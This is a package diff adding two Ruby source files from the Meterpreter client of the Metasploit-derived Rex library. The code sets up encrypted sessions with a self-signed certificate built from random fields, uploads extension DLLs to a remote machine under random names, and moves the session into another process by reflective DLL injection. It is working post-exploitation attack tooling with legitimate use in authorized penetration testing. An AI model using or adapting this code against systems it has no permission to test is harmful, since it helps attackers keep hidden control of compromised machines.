librex 0.0.18 → 0.0.19

data/lib/rex/post/meterpreter/client.rb

@@ -0,0 +1,364 @@
+#!/usr/bin/env ruby
+
+require 'socket'
+require 'openssl'
+
+require 'rex/script'
+require 'rex/post/meterpreter/client_core'
+require 'rex/post/meterpreter/channel'
+require 'rex/post/meterpreter/channel_container'
+require 'rex/post/meterpreter/dependencies'
+require 'rex/post/meterpreter/object_aliases'
+require 'rex/post/meterpreter/packet'
+require 'rex/post/meterpreter/packet_parser'
+require 'rex/post/meterpreter/packet_dispatcher'
+
+module Rex
+module Post
+module Meterpreter
+
+#
+# Just to get it in there...
+#
+module Extensions
+end
+
+###
+#
+# This class represents a logical meterpreter client class.  This class
+# provides an interface that is compatible with the Rex post-exploitation
+# interface in terms of the feature set that it attempts to expose.  This
+# class is meant to drive a single meterpreter client session.
+#
+###
+class Client
+
+	include Rex::Post::Meterpreter::PacketDispatcher
+	include Rex::Post::Meterpreter::ChannelContainer
+
+	#
+	# Extension name to class hash.
+	#
+	@@ext_hash = {}
+
+	#
+	# Cached SSL certificate (required to scale)
+	#
+	@@ssl_ctx = nil
+	
+	#
+	# Mutex to synchronize class-wide operations
+	#
+	@@ssl_mutex = ::Mutex.new
+
+	#
+	# Lookup the error that occurred
+	#
+	def self.lookup_error(code)
+		code
+	end
+
+	#
+	# Checks the extension hash to see if a class has already been associated
+	# with the supplied extension name.
+	#
+	def self.check_ext_hash(name)
+		@@ext_hash[name]
+	end
+
+	#
+	# Stores the name to class association for the supplied extension name.
+	#
+	def self.set_ext_hash(name, klass)
+		@@ext_hash[name] = klass
+	end
+
+	#
+	# Initializes the client context with the supplied socket through
+	# which communication with the server will be performed.
+	#
+	def initialize(sock,opts={})
+		init_meterpreter(sock, opts)
+	end
+
+	#
+	# Cleans up the meterpreter instance, terminating the dispatcher thread.
+	#
+	def cleanup_meterpreter
+		ext.aliases.each_value do | extension |
+			extension.cleanup if extension.respond_to?( 'cleanup' )
+		end
+		dispatcher_thread.kill if dispatcher_thread
+	end
+
+	#
+	# Initializes the meterpreter client instance
+	#
+	def init_meterpreter(sock,opts={})
+		self.sock        = sock
+		self.parser      = PacketParser.new
+		self.ext         = ObjectAliases.new
+		self.ext_aliases = ObjectAliases.new
+		self.alive       = true
+		self.target_id   = opts[:target_id]
+		self.capabilities= opts[:capabilities] || {}
+
+		self.response_timeout =  opts[:timeout] || self.class.default_timeout
+		self.send_keepalives  = true
+
+
+		# Switch the socket to SSL mode and receive the hello if needed
+		if capabilities[:ssl] and not opts[:skip_ssl]
+			swap_sock_plain_to_ssl()
+		end
+
+		register_extension_alias('core', ClientCore.new(self))
+
+		initialize_inbound_handlers
+		initialize_channels
+
+		# Register the channel inbound packet handler
+		register_inbound_handler(Rex::Post::Meterpreter::Channel)
+
+		monitor_socket
+	end
+
+	def swap_sock_plain_to_ssl
+		# Create a new SSL session on the existing socket
+		ctx = generate_ssl_context()
+		ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
+
+		ssl.accept
+
+		self.sock.extend(Rex::Socket::SslTcp)
+		self.sock.sslsock = ssl
+		self.sock.sslctx  = ctx
+
+		tag = self.sock.get_once(-1, 30)
+		if(not tag or tag !~ /^GET \//)
+			raise RuntimeError, "Could not read the HTTP hello token"
+		end
+	end
+
+	def swap_sock_ssl_to_plain
+		# Remove references to the SSLSocket and Context
+		self.sock.sslsock.close
+		self.sock.sslsock = nil
+		self.sock.sslctx  = nil
+		self.sock = self.sock.fd
+		self.sock.extend(::Rex::Socket::Tcp)
+	end
+
+	def generate_ssl_context
+		@@ssl_mutex.synchronize do 
+		if not @@ssl_ctx
+		
+		wlog("Generating SSL certificate for Meterpreter sessions")
+	
+		key  = OpenSSL::PKey::RSA.new(1024){ }
+		cert = OpenSSL::X509::Certificate.new
+		cert.version = 2
+		cert.serial  = rand(0xFFFFFFFF)
+
+		subject = OpenSSL::X509::Name.new([
+				["C","US"],
+				['ST', Rex::Text.rand_state()],
+				["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
+				["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
+				["CN", self.sock.getsockname[1] || Rex::Text.rand_hostname],
+			])
+		issuer = OpenSSL::X509::Name.new([
+				["C","US"],
+				['ST', Rex::Text.rand_state()],
+				["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
+				["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
+				["CN", Rex::Text.rand_text_alpha(rand(20) + 10)],
+			])
+
+		cert.subject = subject
+		cert.issuer = issuer
+		cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14)
+		cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14)
+		cert.public_key = key.public_key
+		ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
+		cert.extensions = [
+			ef.create_extension("basicConstraints","CA:FALSE"),
+			ef.create_extension("subjectKeyIdentifier","hash"),
+			ef.create_extension("extendedKeyUsage","serverAuth"),
+			ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
+		]
+		ef.issuer_certificate = cert
+		cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
+		cert.sign(key, OpenSSL::Digest::SHA1.new)
+
+		ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
+		ctx.key = key
+		ctx.cert = cert
+
+		ctx.session_id_context = Rex::Text.rand_text(16)
+
+		wlog("Generated SSL certificate for Meterpreter sessions")
+		
+		@@ssl_ctx = ctx
+		
+		end # End of if not @ssl_ctx
+		end # End of mutex.synchronize
+		
+		@@ssl_ctx
+	end
+
+	##
+	#
+	# Accessors
+	#
+	##
+
+	#
+	# Returns the default timeout that request packets will use when
+	# waiting for a response.
+	#
+	def Client.default_timeout
+		return 300
+	end
+
+	##
+	#
+	# Alias processor
+	#
+	##
+
+	#
+	# Translates unhandled methods into registered extension aliases
+	# if a matching extension alias exists for the supplied symbol.
+	#
+	def method_missing(symbol, *args)
+		self.ext_aliases.aliases[symbol.to_s]
+	end
+
+	##
+	#
+	# Extension registration
+	#
+	##
+
+	#
+	# Loads the client half of the supplied extension and initializes it as a
+	# registered extension that can be reached through client.ext.[extension].
+	#
+	def add_extension(name)
+		# Check to see if this extension has already been loaded.
+		if ((klass = self.class.check_ext_hash(name.downcase)) == nil)
+			old = Rex::Post::Meterpreter::Extensions.constants
+			require("rex/post/meterpreter/extensions/#{name.downcase}/#{name.downcase}")
+			new = Rex::Post::Meterpreter::Extensions.constants
+
+			# No new constants added?
+			if ((diff = new - old).empty?)
+				diff = [ name.capitalize ]
+			end
+
+			klass = Rex::Post::Meterpreter::Extensions.const_get(diff[0]).const_get(diff[0])
+
+			# Save the module name to class association now that the code is
+			# loaded.
+			self.class.set_ext_hash(name.downcase, klass)
+		end
+
+		# Create a new instance of the extension
+		inst = klass.new(self)
+
+		self.ext.aliases[inst.name] = inst
+
+		return true
+	end
+
+	#
+	# Deregisters an extension alias of the supplied name.
+	#
+	def deregister_extension(name)
+		self.ext.aliases.delete(name)
+	end
+
+	#
+	# Enumerates all of the loaded extensions.
+	#
+	def each_extension(&block)
+		self.ext.aliases.each(block)
+	end
+
+	#
+	# Registers an aliased extension that can be referenced through
+	# client.name.
+	#
+	def register_extension_alias(name, ext)
+		self.ext_aliases.aliases[name] = ext
+	end
+
+	#
+	# Registers zero or more aliases that are provided in an array.
+	#
+	def register_extension_aliases(aliases)
+		aliases.each { |a|
+			register_extension_alias(a['name'], a['ext'])
+		}
+	end
+
+	#
+	# Deregisters a previously registered extension alias.
+	#
+	def deregister_extension_alias(name)
+		self.ext_aliases.aliases.delete(name)
+	end
+
+	#
+	# Dumps the extension tree.
+	#
+	def dump_extension_tree()
+		items = []
+		items.concat(self.ext.dump_alias_tree('client.ext'))
+		items.concat(self.ext_aliases.dump_alias_tree('client'))
+
+		return items.sort
+	end
+
+	#
+	# The extension alias under which all extensions can be accessed by name.
+	# For example:
+	#
+	#    client.ext.stdapi
+	#
+	#
+	attr_reader   :ext
+	#
+	# The socket the client is communicating over.
+	#
+	attr_reader   :sock
+	#
+	# The timeout value to use when waiting for responses.
+	#
+	attr_accessor :response_timeout
+	#
+	# Whether to send pings every so often to determine liveness.
+	#
+	attr_accessor :send_keepalives
+	#
+	# Whether this session is alive.  If the socket is disconnected or broken,
+	# this will be false
+	#
+	attr_accessor :alive
+	#
+	# The unique target identifier for this payload
+	#
+	attr_accessor :target_id
+	#
+	# The libraries available to this meterpreter server
+	#
+	attr_accessor :capabilities
+
+protected
+	attr_accessor :parser, :ext_aliases # :nodoc:
+	attr_writer   :ext, :sock # :nodoc:
+end
+
+end; end; end
+

data/lib/rex/post/meterpreter/client_core.rb

@@ -0,0 +1,274 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/packet'
+require 'rex/post/meterpreter/extension'
+require 'rex/post/meterpreter/client'
+require 'msf/core/payload/windows'
+
+module Rex
+module Post
+module Meterpreter
+
+###
+#
+# This class is responsible for providing the interface to the core
+# client-side meterpreter API which facilitates the loading of extensions
+# and the interaction with channels.
+#
+#
+###
+class ClientCore < Extension
+
+	#
+	# Initializes the 'core' portion of the meterpreter client commands.
+	#
+	def initialize(client)
+		super(client, "core")
+	end
+
+	##
+	#
+	# Core commands
+	#
+	##
+
+	#
+	# Loads a library on the remote meterpreter instance.  This method
+	# supports loading both extension and non-extension libraries and
+	# also supports loading libraries from memory or disk depending
+	# on the flags that are specified
+	#
+	# Supported flags:
+	#
+	#	LibraryFilePath
+	#		The path to the library that is to be loaded
+	#
+	#	TargetFilePath
+	#		The target library path when uploading
+	#
+	#	UploadLibrary
+	#		Indicates whether or not the library should be uploaded
+	#
+	#	SaveToDisk
+	#		Indicates whether or not the library should be saved to disk
+	#		on the remote machine
+	#
+	#	Extension
+	#		Indicates whether or not the library is a meterpreter extension
+	#
+	def load_library(opts)
+		library_path = opts['LibraryFilePath']
+		target_path  = opts['TargetFilePath']
+		load_flags   = LOAD_LIBRARY_FLAG_LOCAL
+
+		# No library path, no cookie.
+		if (library_path == nil)
+			raise ArgumentError, "No library file path was supplied", caller
+		end
+
+		# Set up the proper loading flags
+		if (opts['UploadLibrary'])
+			load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
+		end
+		if (opts['SaveToDisk'])
+			load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
+		end
+		if (opts['Extension'])
+			load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
+		end
+
+		# Create a request packet
+		request = Packet.create_request('core_loadlib')
+
+		# If we must upload the library, do so now
+		if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
+			image = ''
+
+			::File.open(library_path, 'rb') { |f|
+				image = f.read
+			}
+
+			if (image != nil)
+				request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
+			else
+				raise RuntimeError, "Failed to serialize library #{library_path}.", caller
+			end
+
+			# If it's an extension we're dealing with, rename the library
+			# path of the local and target so that it gets loaded with a random
+			# name
+			if (opts['Extension'])
+				library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
+				target_path  = library_path
+			end
+		end
+
+		# Add the base TLVs
+		request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
+		request.add_tlv(TLV_TYPE_FLAGS, load_flags)
+
+		if (target_path != nil)
+			request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
+		end
+
+		# Transmit the request and wait the default timeout seconds for a response
+		response = self.client.send_packet_wait_response(request, self.client.response_timeout)
+
+		# No response?
+		if (response == nil)
+			raise RuntimeError, "No response was received to the core_loadlib request.", caller
+		elsif (response.result != 0)
+			raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
+		end
+
+		return true
+	end
+
+	#
+	# Loads a meterpreter extension on the remote server instance and
+	# initializes the client-side extension handlers
+	#
+	#	Module
+	#		The module that should be loaded
+	#
+	#	LoadFromDisk
+	#		Indicates that the library should be loaded from disk, not from
+	#		memory on the remote machine
+	#
+	def use(mod, opts = { })
+		if (mod == nil)
+			raise RuntimeError, "No modules were specified", caller
+		end
+		# Get us to the installation root and then into data/meterpreter, where
+		# the file is expected to be
+		path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
+
+		if (opts['ExtensionPath'])
+			path = opts['ExtensionPath']
+		end
+
+		path = ::File.expand_path(path)
+
+		# Load the extension DLL
+		if (load_library(
+				'LibraryFilePath' => path,
+				'UploadLibrary'   => true,
+				'Extension'       => true,
+				'SaveToDisk'      => opts['LoadFromDisk']))
+			client.add_extension(mod)
+		end
+
+		return true
+	end
+
+	#
+	# Migrates the meterpreter instance to the process specified
+	# by pid.  The connection to the server remains established.
+	#
+	def migrate( pid )
+		keepalive = client.send_keepalives
+		client.send_keepalives = false
+		process       = nil
+		binary_suffix = nil
+
+		# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
+		client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
+
+		# Determine the architecture for the pid we are going to migrate into...
+		client.sys.process.processes.each { | p |
+			if( p['pid'] == pid )
+				process = p
+				break
+			end
+		}
+
+		# We cant migrate into a process that does not exist.
+		if( process == nil )
+			raise RuntimeError, "Cannot migrate into non existant process", caller
+		end
+
+		# We cant migrate into a process that we are unable to open
+		if( process['arch'] == nil or process['arch'].empty? )
+			raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
+		end
+
+		# And we also cant migrate into our own current process...
+		if( process['pid'] == client.sys.process.getpid )
+			raise RuntimeError, "Cannot migrate into current process", caller
+		end
+
+		# Create a new payload stub
+		c = Class.new( ::Msf::Payload )
+		c.include( ::Msf::Payload::Stager )
+
+		# Include the appropriate reflective dll injection module for the target process architecture...
+		if( process['arch'] == ARCH_X86 )
+			c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
+			binary_suffix = "dll"
+		elsif( process['arch'] == ARCH_X86_64 )
+			c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
+			binary_suffix = "x64.dll"
+		else
+			raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
+		end
+
+		# Create the migrate stager
+		migrate_stager = c.new()
+		migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
+
+		payload = migrate_stager.stage_payload
+
+		# Build the migration request
+		request = Packet.create_request( 'core_migrate' )
+		request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
+		request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
+		request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib])
+		if( process['arch'] == ARCH_X86_64 )
+			request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
+		else
+			request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
+		end
+
+		# Send the migration request (bump up the timeout to 60 seconds)
+		response = client.send_request( request, 60 )
+
+		# Disable the socket request monitor
+		client.monitor_stop
+
+		###
+		# Now communicating with the new process
+		###
+
+		# Renegotiate SSL over this socket
+		client.swap_sock_ssl_to_plain()
+		client.swap_sock_plain_to_ssl()
+
+		# Restart the socket monitor
+		client.monitor_socket
+
+		# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
+		# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
+		# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
+		if( process['arch'] == ARCH_X86_64 )
+			client.platform      = 'x64/win64'
+			client.binary_suffix = 'x64.dll'
+		else
+			client.platform      = 'x86/win32'
+			client.binary_suffix = 'dll'
+		end
+
+		# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
+		client.ext.aliases.keys.each { |e|
+			client.core.use(e)
+		}
+
+		# Restore session keep-alives
+		client.send_keepalives = keepalive
+
+		return true
+	end
+
+end
+
+end; end; end
+